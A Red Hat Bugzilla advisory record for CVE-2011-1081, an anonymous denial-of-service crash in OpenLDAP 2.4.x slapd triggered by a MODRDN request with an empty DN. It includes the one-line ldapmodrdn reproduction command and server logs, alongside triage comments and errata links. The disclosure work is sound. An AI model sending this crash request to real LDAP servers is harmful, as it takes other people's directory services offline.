Bug 680975 (CVE-2011-1081)

Summary: CVE-2011-1081 openldap: DoS when submitting special MODRDN request
Product: [Other] Security Response Reporter: Vincent Danen <vdanen>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: unspecifiedCC: jplans, omoris, rmeggins, vkrizan
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2015-07-29 14:06:10 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 680481, 680482, 680483    
Bug Blocks:    

Description Vincent Danen 2011-02-28 17:01:16 UTC
It was reported [1],[2] that OpenLDAP's slapd daemon would crash when it received a request to modify a DN and submits an empty old DN in the request.  No binding is necessary, so even an anonymous user could cause slapd to crash.

This was reported against OpenLDAP 2.4.23 and was fixed in 2.4.24 [3].

References:

[1] http://www.openldap.org/its/index.cgi/Software%20Bugs?id=6768
[2] https://bugzilla.novell.com/show_bug.cgi?id=674985#c1
[3] http://www.openldap.org/devel/cvsweb.cgi/servers/slapd/modrdn.c.diff?r1=1.170.2.8&r2=1.170.2.9

Comment 1 Vincent Danen 2011-02-28 17:09:30 UTC
I was able to reproduce this with openldap (2.4.19-15.el6) using:

$ ldapmodrdn -x -H ldap://ldapserver -r '' o=test

with the following results:


Feb 28 08:50:30 dns slapd[1331]: conn=1389 fd=28 ACCEPT from IP=192.168.1.11:46650 (IP=0.0.0.0:389)
Feb 28 08:50:30 dns slapd[1331]: conn=1389 op=0 BIND dn="" method=128
Feb 28 08:50:30 dns slapd[1331]: conn=1389 op=0 RESULT tag=97 err=0 text=
Feb 28 08:50:30 dns slapd[1331]: conn=1389 op=1 MODRDN dn=""
Feb 28 08:50:47 dns slapd[20575]: @(#) $OpenLDAP: slapd 2.4.19 (Jun 30 2010 03:58:53) $#012#011mockbuild.bos.redhat.com:/builddir/build/BUILD/openldap-2.4.19/openldap-2.4.19/build-server
s/servers/slapd
Feb 28 08:50:47 dns slapd[20576]: bdb_db_open: database "dc=example,dc=ca": unclean shutdown detected; attempting recovery.
Feb 28 08:50:47 dns slapd[20576]: slapd starting

However, I cannot cause slapd (2.3.43=12.el5_5.3) to crash with the same command:

% ldapmodrdn -x -H ldap://localhost -r '' o=test
Rename Result: Server is unwilling to perform (53)
Additional info: cannot rename the root DSE

and the output from slapd:


...
ldap_read: want=8, got=8
  0000:  30 12 02 01 02 6c 0d 04                            0....l..          
ldap_read: want=12, got=12
  0000:  00 04 06 6f 3d 74 65 73  74 01 01 ff               ...o=test...      
ber_get_next: tag 0x30 len 18 contents:
ber_dump: buf=0x9185160 ptr=0x9185160 end=0x9185172 len=18
  0000:  02 01 02 6c 0d 04 00 04  06 6f 3d 74 65 73 74 01   ...l.....o=test.  
  0010:  01 ff                                              ..                
ber_get_next
ldap_read: want=8 error=Resource temporarily unavailable
do_modrdn
ber_scanf fmt ({mmb) ber:
ber_dump: buf=0x9185160 ptr=0x9185163 end=0x9185172 len=15
  0000:  6c 0d 04 00 04 06 6f 3d  74 65 73 74 01 01 ff      l.....o=test...   
do_modrdn: dn () newrdn (o=test) newsuperior ()
ber_scanf fmt (}) ber:
ber_dump: buf=0x9185160 ptr=0x9185172 end=0x9185172 len=0

>>> dnPrettyNormal: <>
<<< dnPrettyNormal: <>, <>
>>> dnPrettyNormal: <o=test>
=> ldap_bv2dn(o=test,0)
<= ldap_bv2dn(o=test)=0 
=> ldap_dn2bv(272)
<= ldap_dn2bv(o=test)=0 
=> ldap_dn2bv(272)
<= ldap_dn2bv(o=test)=0 
<<< dnPrettyNormal: <o=test>, <o=test>
do_modrdn: root dse!
send_ldap_result: conn=2 op=1 p=3
send_ldap_result: err=53 matched="" text="cannot rename the root DSE"
send_ldap_response: msgid=2 tag=109 err=53
ber_flush: 40 bytes to sd 13
  0000:  30 26 02 01 02 6d 21 0a  01 35 04 00 04 1a 63 61   0&...m!..5....ca  
  0010:  6e 6e 6f 74 20 72 65 6e  61 6d 65 20 74 68 65 20   nnot rename the   
  0020:  72 6f 6f 74 20 44 53 45                            root DSE          
ldap_write: want=40, written=40
  0000:  30 26 02 01 02 6d 21 0a  01 35 04 00 04 1a 63 61   0&...m!..5....ca  
  0010:  6e 6e 6f 74 20 72 65 6e  61 6d 65 20 74 68 65 20   nnot rename the   
  0020:  72 6f 6f 74 20 44 53 45                            root DSE          
...

and there is no crash of the process.

The code is quite different, but I see similarities, so I cannot tell whether or not a slightly changed ldapmodrdn command will cause a crash, or if this is specific to 2.4.x.

Comment 4 Jan Vcelak 2011-03-01 08:36:01 UTC
Verified that only OpenLDAP 2.4.x is affected. Fixed in 2.4.24.

It seems that the code was reordered. The list of modifications is being built
before the operation is passed to DB backend operation. While access to root
DSE is checked from backend operation. (The upstream fix is strange, however
it works. CVS comment "quick fix for null DN" is a good explanation.)

Comment 6 Jan Vcelak 2011-03-01 10:51:34 UTC
Fedora 16 not affected
Fedora 15 affected, but 2.4.24 is waiting in updates-testing
Fedora 14 affected
Fedora 13 affected

Comment 7 Vincent Danen 2011-03-01 20:22:36 UTC
As noted by Ralf Haferkamp from SUSE:

"It seems you are right. Even though the bug slipped into CVS HEAD already in 2006 it never got merged into the 2.3 release branch. So only 2.4.x  releases are affected by this. Sorry for causing confusion here"

http://www.openwall.com/lists/oss-security/2011/03/01/11

Comment 8 Vincent Danen 2011-03-01 21:20:59 UTC
This was assigned the name CVE-2011-1081.

Comment 9 errata-xmlrpc 2011-03-10 20:47:27 UTC
This issue has been addressed in following products:

  Red Hat Enterprise Linux 6

Via RHSA-2011:0347 https://rhn.redhat.com/errata/RHSA-2011-0347.html